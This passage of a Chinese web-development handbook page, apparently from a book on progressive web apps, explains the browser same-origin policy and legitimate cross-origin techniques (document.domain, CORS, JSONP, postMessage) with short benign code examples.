&#x6807;&#x7B7E;&#x7B49;&#x3002;</li>\n<li>&#x901A;&#x5E38;&#x4E0D;&#x5141;&#x8BB8;&#x8DE8;&#x57DF;&#x8BFB;&#x64CD;&#x4F5C;&#x3002;&#x4F46;&#x5E38;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5185;&#x5D4C;&#x8D44;&#x6E90;&#x6765;&#x5DE7;&#x5999;&#x7684;&#x8FDB;&#x884C;&#x8BFB;&#x53D6;&#x8BBF;&#x95EE;&#x3002;</li>\n</ol>\n<p>&#x4E0D;&#x53D7;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x9650;&#x5236;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x5D4C;&#x5165;&#x7684;&#x65B9;&#x5F0F;&#x8BBF;&#x95EE;&#x7684;&#x8D44;&#x6E90;&#x5E38;&#x89C1;&#x7684;&#x6709;&#xFF1A;</p>\n<ul>\n<li><code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>...<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x5D4C;&#x5165;&#x8DE8;&#x57DF;&#x811A;&#x672C;</li>\n<li><code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>stylesheet<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>...<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x5D4C;&#x5165;CSS</li>\n<li><code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>img</span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>video</span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;<code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>audio</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x5D4C;&#x5165;&#x56FE;&#x7247;&#x3001;&#x89C6;&#x9891;&#x3001;&#x97F3;&#x9891;&#x8D44;&#x6E90;</li>\n<li><code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>object</span><span class=\"token punctuation\">&gt;</span></span></code>, <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>embed</span><span class=\"token punctuation\">&gt;</span></span></code> &#x548C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>applet</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x5D4C;&#x5165;&#x63D2;&#x4EF6;</li>\n<li>@font-face &#x5F15;&#x5165;&#x7684;&#x5B57;&#x4F53;&#x3002;&#x4E00;&#x4E9B;&#x6D4F;&#x89C8;&#x5668;&#x5141;&#x8BB8;&#x8DE8;&#x57DF;&#x5B57;&#x4F53;&#xFF08; cross-origin fonts&#xFF09;&#xFF0C;&#x4E00;&#x4E9B;&#x9700;&#x8981;&#x540C;&#x6E90;&#x5B57;&#x4F53;&#xFF08;same-origin fonts&#xFF09;&#x3002;</li>\n<li><code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>frame</span><span class=\"token punctuation\">&gt;</span></span></code> &#x548C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>iframe</span><span class=\"token punctuation\">&gt;</span></span></code> &#x8F7D;&#x5165;&#x7684;&#x4EFB;&#x4F55;&#x8D44;&#x6E90;&#x3002;&#x7AD9;&#x70B9;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;X-Frame-Options&#x6D88;&#x606F;&#x5934;&#x6765;&#x963B;&#x6B62;&#x8FD9;&#x79CD;&#x5F62;&#x5F0F;&#x7684;&#x8DE8;&#x57DF;&#x4EA4;&#x4E92;&#x3002;</li>\n</ul>\n<p>&#x975E;&#x540C;&#x6E90;&#x7684;&#x7F51;&#x7AD9;&#xFF0C;&#x5E38;&#x89C1;&#x7684;&#x4E3B;&#x8981;&#x6709;&#x4EE5;&#x4E0B;&#x51E0;&#x79CD;&#x884C;&#x4E3A;&#x53D7;&#x5230;&#x9650;&#x5236;&#xFF1A;</p>\n<ol>\n<li>&#x65E0;&#x6CD5;&#x5171;&#x4EAB; Cookie, LocalStorage, IndexedDB</li>\n<li>&#x65E0;&#x6CD5;&#x64CD;&#x4F5C;&#x5F7C;&#x6B64;&#x7684; DOM &#x5143;&#x7D20;</li>\n<li>&#x65E0;&#x6CD5;&#x53D1;&#x9001; Ajax &#x8BF7;&#x6C42;</li>\n</ol>\n<h3 id=\"&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;\"><a name=\"&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;\" class=\"plugin-anchor\" href=\"#&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8DE8;&#x57DF;&#x8BBF;&#x95EE;</h3>\n<p>&#x540C;&#x6E90;&#x7B56;&#x7565;&#x505A;&#x4E86;&#x5F88;&#x4E25;&#x683C;&#x7684;&#x9650;&#x5236;&#xFF0C;&#x4F46;&#x5728;&#x5B9E;&#x9645;&#x7684;&#x573A;&#x666F;&#x4E2D;&#xFF0C;&#x53C8;&#x786E;&#x5B9E;&#x6709;&#x5F88;&#x591A;&#x5730;&#x65B9;&#x9700;&#x8981;&#x7A81;&#x7834;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x7684;&#x9650;&#x5236;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x6211;&#x4EEC;&#x5E38;&#x8BF4;&#x7684;&#x8DE8;&#x57DF;&#x3002;&#x5B9E;&#x73B0;&#x8DE8;&#x57DF;&#x901A;&#x4FE1;&#x7684;&#x89E3;&#x51B3;&#x65B9;&#x6848;&#x6709;&#x591A;&#x79CD;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x7B80;&#x5355;&#x7684;&#x4ECB;&#x7ECD;&#x51E0;&#x79CD;&#x65B9;&#x5F0F;&#x3002;</p>\n<h4 id=\"&#x66F4;&#x6539;&#x6E90;\"><a name=\"&#x66F4;&#x6539;&#x6E90;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x66F4;&#x6539;&#x6E90;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x66F4;&#x6539;&#x6E90;\" class=\"plugin-anchor\" href=\"#&#x66F4;&#x6539;&#x6E90;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x66F4;&#x6539;&#x6E90;</h4>\n<p>&#x9875;&#x9762;&#x53EF;&#x4EE5;&#x66F4;&#x6539;&#x81EA;&#x5DF1;&#x7684;&#x6E90;&#xFF0C;&#x4F46;&#x4F1A;&#x53D7;&#x5230;&#x4E00;&#x4E9B;&#x9650;&#x5236;&#x3002;&#x6BD4;&#x5982;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <a href=\"https://developer.mozilla.org/zh-CN/docs/Web/API/Document/domain\" target=\"_blank\">document.domain</a> &#x6765;&#x8BBE;&#x7F6E;&#x5B50;&#x57DF;&#x7684; <code>domain</code> &#x503C;&#xFF0C;&#x5141;&#x8BB8;&#x5176;&#x5B89;&#x5168;&#x8BBF;&#x95EE;&#x5176;&#x7236;&#x57DF;&#x3002;&#x4F8B;&#x5982;&#xFF1A;</p>\n<p>&#x53EF;&#x4EE5;&#x5728; <code>http://child.company.com/dir/a.html</code>&#x4E2D;&#x6267;&#x884C;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">document<span class=\"token punctuation\">.</span>domain <span class=\"token operator\">=</span> <span class=\"token string\">&apos;company.com&apos;</span>\n</code></pre>\n<p>&#x9875;&#x9762;&#x5C06;&#x4E0E; <code>http://company.com/dir/b.html</code> &#x5904;&#x4E8E;&#x76F8;&#x540C;&#x7684;&#x57DF;&#x3002;&#x4F46;&#x662F;&#xFF0C;&#x8BD5;&#x56FE;&#x7ED9; <code>company.com</code> &#x8BBE;&#x7F6E; <code>document.domain</code> &#x4E3A; <code>anotherCompany.com</code> &#x662F;&#x4E0D;&#x53EF;&#x884C;&#x7684;&#xFF0C;&#x56E0;&#x4E3A;&#x5B83;&#x4E0D;&#x662F; <code>company.com</code> &#x7684;&#x7236;&#x57DF;&#x3002;&#x503C;&#x5F97;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x7AEF;&#x53E3;&#x53F7;&#x662F;&#x5355;&#x72EC;&#x4FDD;&#x5B58;&#x7684;&#xFF0C;&#x5728;&#x7ED9; <code>document.domain</code> &#x8D4B;&#x503C;&#x65F6;&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x6307;&#x660E;&#x7AEF;&#x53E3;&#x53F7;&#xFF0C;&#x9ED8;&#x8BA4;&#x4F1A;&#x4EE5; null &#x503C;&#x8986;&#x76D6;&#x6389;&#x539F;&#x6765;&#x7684;&#x7AEF;&#x53E3;&#x53F7;&#x3002;&#x56E0;&#x6B64; <code>company.com:8080</code> &#x4E0D;&#x80FD;&#x4EC5;&#x901A;&#x8FC7;&#x8BBE;&#x7F6E; document.domain = &quot;company.com&quot; &#x6765;&#x4E0E; <code>company.com</code> &#x901A;&#x4FE1;&#x3002;&#x5FC5;&#x987B;&#x5728;&#x4ED6;&#x4EEC;&#x53CC;&#x65B9;&#x4E2D;&#x90FD;&#x8FDB;&#x884C;&#x8D4B;&#x503C;&#xFF0C;&#x4EE5;&#x786E;&#x4FDD;&#x7AEF;&#x53E3;&#x53F7;&#x90FD;&#x4E3A; null&#x3002;</p>\n<p>&#x6240;&#x4EE5;&#x8FD9;&#x79CD;&#x65B9;&#x6CD5;&#x662F;&#x6709;&#x5F88;&#x5927;&#x9650;&#x5236;&#x6761;&#x4EF6;&#x7684;&#xFF0C;<code>document.domain</code> &#x8FD9;&#x4E2A;&#x503C;&#x53EA;&#x80FD;&#x4FEE;&#x6539;&#x4E3A;&#x8FD9;&#x4E2A;&#x9875;&#x9762;&#x7684;&#x5F53;&#x524D;&#x57DF;&#x6216;&#x8005;&#x5F53;&#x524D;&#x57DF;&#x7684;&#x8D85;&#x7EA7;&#x57DF;&#x3002;&#x6240;&#x4EE5;&#xFF0C;&#x8FD9;&#x4E2A;&#x65B9;&#x6CD5;&#x53EA;&#x80FD;&#x89E3;&#x51B3;&#x540C;&#x4E00;&#x8D85;&#x7EA7;&#x57DF;&#x4E0B;&#x7684;&#x9875;&#x9762;&#x8DE8;&#x57DF;&#x95EE;&#x9898;&#x3002;</p>\n<h4 id=\"cors\"><a name=\"cors\" class=\"anchor-navigation-ex-anchor\" href=\"#cors\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"cors\" class=\"plugin-anchor\" href=\"#cors\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>CORS</h4>\n<p>CORS&#xFF08;Cross-Origin Resource Sharing&#xFF09;&#x662F; W3C &#x63D0;&#x51FA;&#x7684;&#x4E00;&#x4E2A;&#x7528;&#x4E8E;&#x670D;&#x52A1;&#x7AEF;&#x63A7;&#x5236;&#x6570;&#x636E;&#x8DE8;&#x57DF;&#x4F20;&#x8F93;&#x7684;&#x4E00;&#x4E2A;&#x673A;&#x5236;&#x3002;&#x5B83;&#x7684;&#x539F;&#x7406;&#x662F;&#x7ED9; HTTP &#x5934;&#x589E;&#x52A0;&#x7279;&#x5B9A;&#x7684;&#x503C;&#xFF0C;&#x8BA9;&#x670D;&#x52A1;&#x7AEF;&#x6765;&#x5B9A;&#x4E49;&#x5141;&#x8BB8;&#x6765;&#x81EA;&#x54EA;&#x4E9B;&#x6E90;&#x7684;&#x8BF7;&#x6C42;&#x3002;&#x8FD9;&#x662F;&#x4E00;&#x79CD;&#x6700;&#x4E3A;&#x5E38;&#x89C1;&#x7684;&#x5904;&#x7406;&#x8DE8;&#x57DF; Ajax &#x8BF7;&#x6C42;&#x7684;&#x65B9;&#x5F0F;&#x3002;</p>\n<p>&#x4E3E;&#x4F8B;&#x6765;&#x8BF4;&#xFF0C;&#x5F53;&#x6211;&#x4EEC;&#x8BD5;&#x56FE;&#x5728; <code>example.com</code> &#x7684;&#x9875;&#x9762;&#x5411; <code>anotherexample.com</code> &#x7684;&#x63A5;&#x53E3;&#x53D1;&#x8D77; Ajax &#x8BF7;&#x6C42;&#x65F6;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">  <span class=\"token keyword\">let</span> xhr <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">XMLHttpRequest</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> url <span class=\"token operator\">=</span> <span class=\"token string\">&apos;http://anotherexample.com/some/api/&apos;</span>\n\n  xhr<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;GET&apos;</span><span class=\"token punctuation\">,</span> url<span class=\"token punctuation\">,</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">)</span>\n  xhr<span class=\"token punctuation\">.</span>onreadystatechange <span class=\"token operator\">=</span> handler\n  xhr<span class=\"token punctuation\">.</span><span class=\"token function\">send</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728; <code>anotherexample.com</code> &#x7684;&#x670D;&#x52A1;&#x7AEF;&#x6CA1;&#x6709;&#x8FDB;&#x884C;&#x4EFB;&#x4F55;&#x8BBE;&#x7F6E;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x8FD9;&#x4E2A;&#x8BF7;&#x6C42;&#x4F1A;&#x56E0;&#x4E3A;&#x8DE8;&#x57DF;&#x800C;&#x5931;&#x8D25;&#x3002;CORS &#x5141;&#x8BB8;&#x6211;&#x4EEC;&#x5728;&#x8BF7;&#x6C42;&#x5934;&#x4E2D;&#x8BBE;&#x7F6E; <code>Access-Control-Allow-Origin</code>&#xFF0C;&#x6765;&#x63A7;&#x5236;&#x5141;&#x8BB8;&#x54EA;&#x4E9B;&#x6E90;&#x7684;&#x8BF7;&#x6C42;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x7528;&#x5982;&#x4E0B;&#x65B9;&#x5F0F;&#xFF0C;&#x8BBE;&#x7F6E;&#x5141;&#x8BB8;&#x6240;&#x6709;&#x7684;&#x6E90;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-http\"><span class=\"token header-name keyword\">Access-Control-Allow-Origin:</span> *\n</code></pre>\n<p>&#x5F53;&#x7136;&#x4E5F;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x8BBE;&#x7F6E;&#x6210;&#x5141;&#x8BB8;&#x7684;&#x57DF;&#x7684;&#x540D;&#x79F0;&#xFF0C;&#x6216;&#x8005;&#x914D;&#x5408; Origin &#x8BF7;&#x6C42;&#x5934;&#x4F7F;&#x7528;&#x3002;</p>\n<h4 id=\"jsonp\"><a name=\"jsonp\" class=\"anchor-navigation-ex-anchor\" href=\"#jsonp\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"jsonp\" class=\"plugin-anchor\" href=\"#jsonp\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>JSONP</h4>\n<p>JSONP &#x662F; JSON with Padding &#x7684;&#x7B80;&#x79F0;&#xFF0C;&#x5B83;&#x7684;&#x672C;&#x8D28;&#x662F;&#x5229;&#x7528;&#x5185;&#x5D4C;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span><span class=\"token punctuation\">&gt;</span></span></code> &#x8D44;&#x6E90;&#x4E0D;&#x53D7;&#x540C;&#x6E90;&#x653F;&#x7B56;&#x5F71;&#x54CD;&#xFF0C;&#x5C06;&#x63A5;&#x53E3;&#x9700;&#x8981;&#x8FD4;&#x56DE;&#x7684;&#x6570;&#x636E;&#x7528;&#x6307;&#x5B9A;&#x540D;&#x79F0;&#x7684;&#x51FD;&#x6570;&#x5305;&#x88F9;&#x8D77;&#x6765;&#x8FDB;&#x884C;&#x4F20;&#x9012;&#xFF0C;&#x4ECE;&#x800C;&#x5B9E;&#x73B0;&#x8DE8;&#x57DF;&#x63A5;&#x53E3;&#x8BF7;&#x6C42;&#x3002;&#x5176;&#x57FA;&#x672C;&#x539F;&#x7406;&#x53EF;&#x4EE5;&#x7B80;&#x5355;&#x63CF;&#x8FF0;&#x5982;&#x4E0B;&#xFF1A;</p>\n<p>&#x5BA2;&#x6237;&#x7AEF;&#x901A;&#x8FC7; script &#x6807;&#x7B7E;&#x53D1;&#x8D77;&#x8DE8;&#x57DF;&#x8BF7;&#x6C42;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>script</span> <span class=\"token attr-name\">src</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>http://www.anotherexample.com/ajax?callback=myFunction<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>script</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x670D;&#x52A1;&#x7AEF;&#x63A5;&#x6536; callback &#x53C2;&#x6570;&#xFF0C;&#x5C06;&#x6570;&#x636E;&#x7528; callback &#x540D;&#x79F0;&#x5305;&#x88F9;&#x8FD4;&#x56DE;&#xFF0C;&#x5F62;&#x5982;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token function\">myFunction</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span> foo<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;bar&apos;</span> <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5BA2;&#x6237;&#x7AEF;&#x5B9A;&#x4E49;&#x4E86; myFunction &#x51FD;&#x6570;&#xFF0C;&#x5C31;&#x4F1A;&#x6267;&#x884C;&#x5E76;&#x62FF;&#x5230;&#x6570;&#x636E;&#x4E86;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">let</span> <span class=\"token function-variable function\">mycallback</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">data</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span>\n  <span class=\"token function\">alert</span><span class=\"token punctuation\">(</span>data<span class=\"token punctuation\">.</span>foo<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5B9E;&#x9645;&#x4F7F;&#x7528;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4E0D;&#x9700;&#x8981;&#x6211;&#x4EEC;&#x6765;&#x5B9E;&#x73B0;&#x8FD9;&#x4E9B;&#x7E41;&#x7410;&#x7684;&#x6B65;&#x9AA4;&#xFF0C;&#x5E38;&#x89C1;&#x7684;&#x7B2C;&#x4E09;&#x65B9;&#x5DE5;&#x5177;&#x5E93;&#x5982; JQuery&#xFF0C;axios &#x7B49;&#xFF0C;&#x90FD;&#x8FDB;&#x884C;&#x4E86;&#x5C01;&#x88C5;&#xFF0C;&#x53EA;&#x9700;&#x6309;&#x7167;&#x6307;&#x5B9A;&#x683C;&#x5F0F;&#x8C03;&#x7528;&#x5373;&#x53EF;&#x3002;&#x9700;&#x8981;&#x6CE8;&#x610F;&#xFF0C;&#x8FD9;&#x79CD;&#x8DE8;&#x57DF;&#x65B9;&#x5F0F;&#x9700;&#x8981;&#x540E;&#x7AEF;&#x7684;&#x914D;&#x5408;&#xFF0C;&#x56E0;&#x4E3A;&#x540E;&#x7AEF;&#x7684;&#x63A5;&#x53E3;&#x9700;&#x8981;&#x6839;&#x636E;&#x7EA6;&#x5B9A;&#x7684;&#x53C2;&#x6570;&#x83B7;&#x53D6;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x540D;&#xFF0C;&#x7136;&#x540E;&#x8DDF;&#x8FD4;&#x56DE;&#x6570;&#x636E;&#x8FDB;&#x884C;&#x62FC;&#x63A5;&#xFF0C;&#x6700;&#x540E;&#x8FDB;&#x884C;&#x54CD;&#x5E94;&#x3002;</p>\n<h4 id=\"windowpostmessage\"><a name=\"windowpostmessage\" class=\"anchor-navigation-ex-anchor\" href=\"#windowpostmessage\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"windowpostmessage\" class=\"plugin-anchor\" href=\"#windowpostmessage\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>window.postMessage</h4>\n<p>postMessage &#x662F; HTML5 &#x7684;&#x4E00;&#x4E2A;&#x63A5;&#x53E3;&#xFF0C;&#x5B83;&#x4E3B;&#x8981;&#x7528;&#x4E8E;&#x8DE8;&#x57DF;&#x6587;&#x6863;&#xFF08;&#x5982;&#x4E0D;&#x540C;&#x6E90;&#x7684; iframe&#xFF09;&#x95F4;&#x7684;&#x901A;&#x8BAF;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x628A;&#x7EAF;&#x6587;&#x672C;&#x6D88;&#x606F;&#x4ECE;&#x4E00;&#x4E2A;&#x57DF;&#x53D1;&#x9001;&#x5230;&#x53E6;&#x5916;&#x4E00;&#x4E2A;&#x57DF;&#xFF0C;&#x4E0D;&#x53D7;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x7684;&#x9650;&#x5236;&#x3002;&#x5982;&#xFF0C;&#x5728; <code>example.com</code> &#x9875;&#x9762;&#x4E0B;&#x8BD5;&#x56FE;&#x5411; iframe &#x4E2D;&#x7684; <code>otherexample.com</code> &#x53D1;&#x9001;&#x6D88;&#x606F;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">let</span> targetWindow <span class=\"token operator\">=</span> document<span class=\"token punctuation\">.</span><span class=\"token function\">getElementsByTagName</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;iframe&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token number\">0</span><span class=\"token punctuation\">]</span>\ntargetWindow<span class=\"token punctuation\">.</span><span class=\"token function\">postMessage</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;http://otherexample.com&apos;</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728; otherexample.com &#x4E2D;&#x76D1;&#x542C; message &#x4E8B;&#x4EF6;&#xFF0C;&#x8FDB;&#x884C;&#x5904;&#x7406;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\">window<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;message&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> message <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>data\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x79CD;&#x65B9;&#x5F0F;&#x7684;&#x9002;&#x7528;&#x573A;&#x666F;&#x6709;&#x9650;&#xFF0C;&#x4E0D;&#x80FD;&#x89E3;&#x51B3;&#x6240;&#x6709;&#x7684;&#x8DE8;&#x57DF;&#x95EE;&#x9898;&#xFF0C;&#x4E14;&#x9700;&#x8981;&#x8003;&#x8651;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x517C;&#x5BB9;&#x6027;&#x540E;&#x518D;&#x8FDB;&#x884C;&#x4F7F;&#x7528;&#x3002;</p>\n<p>&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x662F;&#x4FDD;&#x8BC1; Web &#x5B89;&#x5168;&#x7684;&#x91CD;&#x8981;&#x6CD5;&#x5219;&#xFF0C;&#x540E;&#x7EED;&#x7AE0;&#x8282;&#x63D0;&#x5230;&#x7684;&#x5BA2;&#x6237;&#x7AEF;&#x811A;&#x672C;&#x653B;&#x51FB;&#x90FD;&#x4E0E;&#x8FD9;&#x4E00;&#x6CD5;&#x5219;&#x7D27;&#x5BC6;&#x76F8;&#x5173;&#xFF0C;&#x56E0;&#x6B64;&#x7406;&#x89E3;&#x540C;&#x6E90;&#x7B56;&#x7565;&#x5BF9;&#x6211;&#x4EEC;&#x6784;&#x5EFA;&#x5B89;&#x5168;&#x53EF;&#x9760;&#x7684; PWA &#x5E94;&#x7528;&#x610F;&#x4E49;&#x91CD;&#x5927;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-CSP.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 7.2 内容安全策略\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"4-vulnerability.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 7.4 典型的安全漏洞\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"7.3 同源策略\",\"level\":\"1.8.3\",\"depth\":2,\"next\":{\"title\":\"7.4 典型的安全漏洞\",\"level\":\"1.8.4\",\"depth\":2,\"path\":\"chapter07/4-vulnerability.md\",\"ref\":\"chapter07/4-vulnerability.md\",\"articles\":[]},\"previous\":{\"title\":\"7.2 